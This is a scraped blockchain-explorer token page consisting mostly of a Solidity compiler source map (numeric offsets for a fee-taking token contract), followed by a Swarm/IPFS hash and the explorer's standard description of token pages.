;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;8504:139::-:0;8582:4;8589:40;8599:10;8611:9;8622:6;8589:9;:40::i;4548:111::-;4510:4;4535:5;-1:-1:-1;;;;;4535:5:0;4422:10;4524:16;4406:38;;;;-1:-1:-1;;;4406:38:0;;;;;;;:::i;:::-;4614:5:::1;:11:::0;;-1:-1:-1;;;;;;4614:11:0::1;-1:-1:-1::0;;;;;4614:11:0;::::1;::::0;;::::1;::::0;;;4632:25:::1;::::0;5162:51:1;;;4632:25:0::1;::::0;5150:2:1;5135:18;4632:25:0::1;;;;;;;4548:111:::0;:::o;16721:335::-;-1:-1:-1;;;;;16814:19:0;;16806:68;;;;-1:-1:-1;;;16806:68:0;;8579:2:1;16806:68:0;;;8561:21:1;8618:2;8598:18;;;8591:30;8657:34;8637:18;;;8630:62;-1:-1:-1;;;8708:18:1;;;8701:34;8752:19;;16806:68:0;8377:400:1;16806:68:0;-1:-1:-1;;;;;16893:21:0;;16885:68;;;;-1:-1:-1;;;16885:68:0;;8984:2:1;16885:68:0;;;8966:21:1;9023:2;9003:18;;;8996:30;9062:34;9042:18;;;9035:62;-1:-1:-1;;;9113:18:1;;;9106:32;9155:19;;16885:68:0;8782:398:1;16885:68:0;-1:-1:-1;;;;;16964:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;17016:32;;1895:25:1;;;17016:32:0;;1868:18:1;17016:32:0;;;;;;;16721:335;;;:::o;2194:98::-;2252:7;2279:5;2283:1;2279;:5;:::i;14963:1433::-;-1:-1:-1;;;;;15060:20:0;;15052:70;;;;-1:-1:-1;;;15052:70:0;;9520:2:1;15052:70:0;;;9502:21:1;9559:2;9539:18;;;9532:30;9598:34;9578:18;;;9571:62;-1:-1:-1;;;9649:18:1;;;9642:35;9694:19;;15052:70:0;9318:401:1;15052:70:0;-1:-1:-1;;;;;15141:23:0;;15133:71;;;;-1:-1:-1;;;15133:71:0;;9926:2:1;15133:71:0;;;9908:21:1;9965:2;9945:18;;;9938:30;10004:34;9984:18;;;9977:62;-1:-1:-1;;;10055:18:1;;;10048:33;10098:19;;15133:71:0;9724:399:1;15133:71:0;-1:-1:-1;;;;;8478:18:0;;8461:7;8478:18;;;:9;:18;;;;;;15223:6;:27;;15215:88;;;;-1:-1:-1;;;15215:88:0;;10330:2:1;15215:88:0;;;10312:21:1;10369:2;10349:18;;;10342:30;10408:34;10388:18;;;10381:62;-1:-1:-1;;;10459:18:1;;;10452:47;10516:19;;15215:88:0;10128:413:1;15215:88:0;-1:-1:-1;;;;;15318:19:0;;;;;;:11;:19;;;;;;;;15317:20;:47;;;;-1:-1:-1;;;;;;15342:22:0;;;;;;:11;:22;;;;;;;;15341:23;15317:47;15314:95;;;15374:14;;-1:-1:-1;;;15374:14:0;;;;15366:41;;;;-1:-1:-1;;;15366:41:0;;10748:2:1;15366:41:0;;;10730:21:1;10787:2;10767:18;;;10760:30;-1:-1:-1;;;10806:18:1;;;10799:44;10860:18;;15366:41:0;10546:338:1;15366:41:0;-1:-1:-1;;;;;15423:19:0;;;;;;:11;:19;;;;;;;;15422:20;:47;;;;-1:-1:-1;;;;;;15447:22:0;;;;;;:11;:22;;;;;;;;15446:23;15422:47;:77;;;;-1:-1:-1;15494:4:0;;-1:-1:-1;;;;;15473:26:0;;;15494:4;;15473:26;;15422:77;:107;;;;-1:-1:-1;;;;;;15503:26:0;;7055:42;15503:26;;15422:107;15419:220;;;15587:15;;-1:-1:-1;;;;;15550:20:0;;;;;;:9;:20;;;;;;:32;;15575:6;15550:24;:32::i;:::-;15549:53;;15541:96;;;;-1:-1:-1;;;15541:96:0;;11091:2:1;15541:96:0;;;11073:21:1;11130:2;11110:18;;;11103:30;11169:32;11149:18;;;11142:60;11219:18;;15541:96:0;10889:354:1;15541:96:0;15662:4;;-1:-1:-1;;;;;15652:14:0;;;15662:4;;15652:14;15649:124;;15686:14;;15676:6;:24;;:47;;;-1:-1:-1;;;;;;15704:19:0;;;;;;:11;:19;;;;;;;;15676:47;:73;;;-1:-1:-1;;;;;;15727:22:0;;;;;;:11;:22;;;;;;;;15676:73;15668:103;;;;-1:-1:-1;;;15668:103:0;;11450:2:1;15668:103:0;;;11432:21:1;11489:2;11469:18;;;11462:30;-1:-1:-1;;;11508:18:1;;;11501:47;11565:18;;15668:103:0;11248:341:1;15668:103:0;15801:12;;15791:6;:22;;:45;;;-1:-1:-1;;;;;;15817:19:0;;;;;;:11;:19;;;;;;;;15791:45;:71;;;-1:-1:-1;;;;;;15840:22:0;;;;;;:11;:22;;;;;;;;15791:71;15783:101;;;;-1:-1:-1;;;15783:101:0;;11450:2:1;15783:101:0;;;11432:21:1;11489:2;11469:18;;;11462:30;-1:-1:-1;;;11508:18:1;;;11501:47;11565:18;;15783:101:0;11248:341:1;15783:101:0;15912:4;;-1:-1:-1;;;;;15899:17:0;;;15912:4;;15899:17;:41;;;;-1:-1:-1;;;;;;15921:19:0;;;;;;:11;:19;;;;;;;;15920:20;15899:41;15896:71;;;15963:1;15942:9;;:23;;;;;;;:::i;:::-;;;;-1:-1:-1;;15896:71:0;15980:45;15999:6;16007:9;16018:6;15980:18;:45::i;:::-;15977:105;;;16027:29;16042:13;;16027:14;:29::i;:::-;16078:1;16058:9;:22;15977:105;-1:-1:-1;;;;;16112:17:0;;;;;;:9;:17;;;;;;:29;;16134:6;16112:21;:29::i;:::-;-1:-1:-1;;;;;16092:17:0;;;;;;:9;:17;;;;;:49;;;;16177:32;16102:6;16199:9;16177:13;:32::i;:::-;:78;;16249:6;16177:78;;;16212:34;16220:6;16228:9;16239:6;16212:7;:34::i;:::-;-1:-1:-1;;;;;16289:20:0;;;;;;:9;:20;;;;;;16152:103;;-1:-1:-1;16289:40:0;;16152:103;16289:24;:40::i;:::-;-1:-1:-1;;;;;16266:20:0;;;;;;;:9;:20;;;;;;;:63;;;;16345:43;;;;;;;;;;16373:14;1895:25:1;;1883:2;1868:18;;1749:177;16345:43:0;;;;;;;;15041:1355;14963:1433;;;:::o;2618:240::-;2738:7;2799:12;2791:6;;;;2783:29;;;;-1:-1:-1;;;2783:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2834:5:0;;;2618:240::o;2300:98::-;2358:7;2385:5;2389:1;2385;:5;:::i;2406:98::-;2464:7;2491:5;2495:1;2491;:5;:::i;12020:1063::-;6446:8;:15;;-1:-1:-1;;6446:15:0;6457:4;6446:15;;;;;;12157:14:::1;::::0;12139:12:::1;::::0;12115::::1;::::0;6446:8;;12114:66:::1;::::0;12178:1:::1;::::0;12115:57:::1;::::0;12157:14;;12115:37:::1;::::0;;;:16:::1;:19::i;:::-;:23:::0;::::1;:37::i;12114:66::-;12091:89;;12191:32;12226:42;12255:12;12226:24;12237:12;;12226:6;:10;;:24;;;;:::i;:42::-;12191:77:::0;-1:-1:-1;12279:14:0::1;12296:36;:6:::0;12191:77;12296:10:::1;:36::i;:::-;12279:53:::0;-1:-1:-1;12368:21:0::1;12400:24;12279:53:::0;12400:16:::1;:24::i;:::-;12435:20;12458:41;:21;12484:14:::0;12458:25:::1;:41::i;:::-;12435:64;;12510:19;12531:48;12548:30;12565:12;;12548;:16;;:30;;;;:::i;:::-;12531:12:::0;;:16:::1;:48::i;:::-;12510:69;;12590:29;12622;12638:12;;12622:11;:15;;:29;;;;:::i;:::-;12590:61:::0;-1:-1:-1;12665:34:0;;12662:103:::1;;12701:61;12714:24;12740:21;12701:12;:61::i;:::-;12821:12;::::0;12775:20:::1;::::0;12798:36:::1;::::0;:18:::1;:11:::0;12814:1:::1;12798:15;:18::i;:36::-;12775:59:::0;-1:-1:-1;12848:16:0;;12845:73:::1;;12874:18;::::0;12866:50:::1;::::0;-1:-1:-1;;;;;12874:18:0;;::::1;::::0;12866:50;::::1;;;::::0;12903:12;;12874:18:::1;12866:50:::0;12874:18;12866:50;12903:12;12874:18;12866:50;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12845:73;12954:21;12989:28:::0;;12986:90:::1;;13027:20;::::0;13019:55:::1;::::0;-1:-1:-1;;;;;13027:20:0;;::::1;::::0;13019:55;::::1;;;::::0;13058:15;;13027:20:::1;13019:55:::0;13027:20;13019:55;13058:15;13027:20;13019:55;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12986:90;-1:-1:-1::0;;6466:8:0;:16;;-1:-1:-1;;6466:16:0;;;-1:-1:-1;;;;;;;;12020:1063:0:o;2088:98::-;2146:7;2173:5;2177:1;2173;:5;:::i;9175:403::-;9320:14;;9395:13;;9385:4;9277;8478:18;;;:9;:18;;;;;;9427:8;;9277:4;;9310:24;;;;-1:-1:-1;9367:41:0;;9427:8;;9426:9;:24;;;;-1:-1:-1;9439:11:0;;-1:-1:-1;;;9439:11:0;;;;9426:24;:42;;;;-1:-1:-1;9454:14:0;;-1:-1:-1;;;9454:14:0;;;;9426:42;:54;;;;;9472:8;9426:54;:78;;;;-1:-1:-1;;;;;;9485:19:0;;;;;;:11;:19;;;;;;;;9484:20;9426:78;:99;;;;-1:-1:-1;9521:4:0;;-1:-1:-1;;;;;9508:17:0;;;9521:4;;9508:17;9426:99;:126;;;;;9542:10;;9529:9;;:23;;9426:126;:144;;;;;9556:14;9426:144;9419:151;9175:403;-1:-1:-1;;;;;;9175:403:0:o;13884:160::-;-1:-1:-1;;;;;13990:19:0;;13965:4;13990:19;;;:11;:19;;;;;;;;13989:20;:47;;;;-1:-1:-1;;;;;;;14014:22:0;;;;;:11;:22;;;;;;;;14013:23;;13884:160;-1:-1:-1;13884:160:0:o;14365:590::-;14451:7;14507:1;14474:30;14486:6;14494:9;14474:11;:30::i;:::-;:34;14471:462;;;14520:17;14540:59;14568:30;14580:6;14588:9;14568:11;:30::i;:::-;14551:11;;14540:23;;:6;;:10;:23::i;:59::-;14655:4;14637:24;;;;:9;:24;;;;;;14520:79;;-1:-1:-1;14637:39:0;;14520:79;14637:28;:39::i;:::-;14628:4;14610:24;;;;:9;:24;;;;;;;:66;;;;14692:42;;-1:-1:-1;;;;;14692:42:0;;;;;;;14724:9;1895:25:1;;1883:2;1868:18;;1749:177;14692:42:0;;;;;;;;14766:1;14748:7;;:20;:64;;;;;14805:7;;14772:30;14784:6;14792:9;14772:11;:30::i;:::-;:40;14748:64;14745:148;;;14814:77;14832:4;7055:42;14854:36;14882:7;;14854:23;14865:11;;14854:6;:10;;:23;;;;:::i;:36::-;14814:9;:77::i;:::-;14910:21;:6;14921:9;14910:10;:21::i;:::-;14903:28;;;;;14471:462;-1:-1:-1;14941:6:0;14365:590;-1:-1:-1;;14365:590:0:o;13442:434::-;13532:16;;;13546:1;13532:16;;;;;;;;13508:21;;13532:16;;;;;;;;;;-1:-1:-1;13532:16:0;13508:40;;13577:4;13559;13564:1;13559:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13559:23:0;;;:7;;;;;;;;;;:23;;;;13603:6;;:13;;;-1:-1:-1;;;13603:13:0;;;;:6;;;;;:11;;:13;;;;;13559:7;;13603:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13593:4;13598:1;13593:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13593:23:0;;;:7;;;;;;;;;:23;13659:6;;13627:53;;13644:4;;13659:6;13668:11;13627:8;:53::i;:::-;13691:6;;:177;;-1:-1:-1;;;13691:177:0;;-1:-1:-1;;;;;13691:6:0;;;;:57;;:177;;13763:11;;13691:6;;13805:4;;13832;;13852:15;;13691:177;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13497:379;13442:434;:::o;13091:343::-;13204:6;;13172:53;;13189:4;;-1:-1:-1;;;;;13204:6:0;13213:11;13172:8;:53::i;:::-;13236:6;;13377:18;;13236:190;;-1:-1:-1;;;13236:190:0;;13299:4;13236:190;;;13833:34:1;13883:18;;;13876:34;;;13236:6:0;13926:18:1;;;13919:34;;;13969:18;;;13962:34;-1:-1:-1;;;;;13377:18:0;;;14012:19:1;;;14005:44;13410:15:0;14065:19:1;;;14058:35;13236:6:0;;;:22;;13266:9;;13767:19:1;;13236:190:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;13091:343;;:::o;14052:305::-;-1:-1:-1;;;;;14154:13:0;;14131:7;14154:13;;;:5;:13;;;;;;;;;:33;;-1:-1:-1;;;;;;14171:16:0;;;;;;:5;:16;;;;;;;;14154:33;14151:76;;;14196:11;;:29;;14220:3;14196:15;:29::i;:::-;14189:36;;;;14151:76;14253:4;;-1:-1:-1;;;;;14253:4:0;;;14240:17;;;;14237:38;;-1:-1:-1;14266:7:0;;14259:14;;14237:38;14298:4;;-1:-1:-1;;;;;14298:4:0;;;14288:14;;;;14285:36;;-1:-1:-1;14311:8:0;;14304:15;;14285:36;-1:-1:-1;14338:11:0;;14052:305;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1215:529::-;1292:6;1300;1308;1361:2;1349:9;1340:7;1336:23;1332:32;1329:52;;;1377:1;1374;1367:12;1329:52;1416:9;1403:23;1435:31;1460:5;1435:31;:::i;:::-;1485:5;-1:-1:-1;1542:2:1;1527:18;;1514:32;1555:33;1514:32;1555:33;:::i;:::-;1607:7;-1:-1:-1;1666:2:1;1651:18;;1638:32;1679:33;1638:32;1679:33;:::i;:::-;1731:7;1721:17;;;1215:529;;;;;:::o;1931:456::-;2008:6;2016;2024;2077:2;2065:9;2056:7;2052:23;2048:32;2045:52;;;2093:1;2090;2083:12;2045:52;2132:9;2119:23;2151:31;2176:5;2151:31;:::i;:::-;2201:5;-1:-1:-1;2258:2:1;2243:18;;2230:32;2271:33;2230:32;2271:33;:::i;:::-;1931:456;;2323:7;;-1:-1:-1;;;2377:2:1;2362:18;;;;2349:32;;1931:456::o;2392:247::-;2451:6;2504:2;2492:9;2483:7;2479:23;2475:32;2472:52;;;2520:1;2517;2510:12;2472:52;2559:9;2546:23;2578:31;2603:5;2578:31;:::i;2833:316::-;2910:6;2918;2926;2979:2;2967:9;2958:7;2954:23;2950:32;2947:52;;;2995:1;2992;2985:12;2947:52;-1:-1:-1;;3018:23:1;;;3088:2;3073:18;;3060:32;;-1:-1:-1;3139:2:1;3124:18;;;3111:32;;2833:316;-1:-1:-1;2833:316:1:o;3154:118::-;3240:5;3233:13;3226:21;3219:5;3216:32;3206:60;;3262:1;3259;3252:12;3277:382;3342:6;3350;3403:2;3391:9;3382:7;3378:23;3374:32;3371:52;;;3419:1;3416;3409:12;3371:52;3458:9;3445:23;3477:31;3502:5;3477:31;:::i;:::-;3527:5;-1:-1:-1;3584:2:1;3569:18;;3556:32;3597:30;3556:32;3597:30;:::i;:::-;3646:7;3636:17;;;3277:382;;;;;:::o;3664:592::-;3777:6;3785;3793;3801;3809;3817;3825;3878:3;3866:9;3857:7;3853:23;3849:33;3846:53;;;3895:1;3892;3885:12;3846:53;-1:-1:-1;;3918:23:1;;;3988:2;3973:18;;3960:32;;-1:-1:-1;4039:2:1;4024:18;;4011:32;;4090:2;4075:18;;4062:32;;-1:-1:-1;4141:3:1;4126:19;;4113:33;;-1:-1:-1;4193:3:1;4178:19;;4165:33;;-1:-1:-1;4245:3:1;4230:19;4217:33;;-1:-1:-1;3664:592:1;-1:-1:-1;3664:592:1:o;4261:750::-;4353:6;4361;4369;4422:2;4410:9;4401:7;4397:23;4393:32;4390:52;;;4438:1;4435;4428:12;4390:52;4478:9;4465:23;4507:18;4548:2;4540:6;4537:14;4534:34;;;4564:1;4561;4554:12;4534:34;4602:6;4591:9;4587:22;4577:32;;4647:7;4640:4;4636:2;4632:13;4628:27;4618:55;;4669:1;4666;4659:12;4618:55;4709:2;4696:16;4735:2;4727:6;4724:14;4721:34;;;4751:1;4748;4741:12;4721:34;4806:7;4799:4;4789:6;4786:1;4782:14;4778:2;4774:23;4770:34;4767:47;4764:67;;;4827:1;4824;4817:12;4764:67;4858:4;4850:13;;;;-1:-1:-1;4882:6:1;-1:-1:-1;;4923:20:1;;4910:34;4953:28;4910:34;4953:28;:::i;5224:388::-;5292:6;5300;5353:2;5341:9;5332:7;5328:23;5324:32;5321:52;;;5369:1;5366;5359:12;5321:52;5408:9;5395:23;5427:31;5452:5;5427:31;:::i;:::-;5477:5;-1:-1:-1;5534:2:1;5519:18;;5506:32;5547:33;5506:32;5547:33;:::i;5877:329::-;6079:2;6061:21;;;6118:1;6098:18;;;6091:29;-1:-1:-1;;;6151:2:1;6136:18;;6129:36;6197:2;6182:18;;5877:329::o;7039:127::-;7100:10;7095:3;7091:20;7088:1;7081:31;7131:4;7128:1;7121:15;7155:4;7152:1;7145:15;7171:127;7232:10;7227:3;7223:20;7220:1;7213:31;7263:4;7260:1;7253:15;7287:4;7284:1;7277:15;7303:135;7342:3;7363:17;;;7360:43;;7383:18;;:::i;:::-;-1:-1:-1;7430:1:1;7419:13;;7303:135::o;7443:184::-;7513:6;7566:2;7554:9;7545:7;7541:23;7537:32;7534:52;;;7582:1;7579;7572:12;7534:52;-1:-1:-1;7605:16:1;;7443:184;-1:-1:-1;7443:184:1:o;7911:245::-;7978:6;8031:2;8019:9;8010:7;8006:23;8002:32;7999:52;;;8047:1;8044;8037:12;7999:52;8079:9;8073:16;8098:28;8120:5;8098:28;:::i;9185:128::-;9252:9;;;9273:11;;;9270:37;;;9287:18;;:::i;11594:125::-;11659:9;;;11680:10;;;11677:36;;;11693:18;;:::i;11724:168::-;11797:9;;;11828;;11845:15;;;11839:22;;11825:37;11815:71;;11866:18;;:::i;11897:217::-;11937:1;11963;11953:132;;12007:10;12002:3;11998:20;11995:1;11988:31;12042:4;12039:1;12032:15;12070:4;12067:1;12060:15;11953:132;-1:-1:-1;12099:9:1;;11897:217::o;12251:251::-;12321:6;12374:2;12362:9;12353:7;12349:23;12345:32;12342:52;;;12390:1;12387;12380:12;12342:52;12422:9;12416:16;12441:31;12466:5;12441:31;:::i;12507:980::-;12769:4;12817:3;12806:9;12802:19;12848:6;12837:9;12830:25;12874:2;12912:6;12907:2;12896:9;12892:18;12885:34;12955:3;12950:2;12939:9;12935:18;12928:31;12979:6;13014;13008:13;13045:6;13037;13030:22;13083:3;13072:9;13068:19;13061:26;;13122:2;13114:6;13110:15;13096:29;;13143:1;13153:195;13167:6;13164:1;13161:13;13153:195;;;13232:13;;-1:-1:-1;;;;;13228:39:1;13216:52;;13323:15;;;;13288:12;;;;13264:1;13182:9;13153:195;;;-1:-1:-1;;;;;;;13404:32:1;;;;13399:2;13384:18;;13377:60;-1:-1:-1;;;13468:3:1;13453:19;13446:35;13365:3;12507:980;-1:-1:-1;;;12507:980:1:o;14104:306::-;14192:6;14200;14208;14261:2;14249:9;14240:7;14236:23;14232:32;14229:52;;;14277:1;14274;14267:12;14229:52;14306:9;14300:16;14290:26;;14356:2;14345:9;14341:18;14335:25;14325:35;;14400:2;14389:9;14385:18;14379:25;14369:35;;14104:306;;;;;:::o

Swarm Source

ipfs://e137219fefd128e2de8fa3cb161369b0810f7a28db6a1eed1f6456c8f8dc0a5e
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.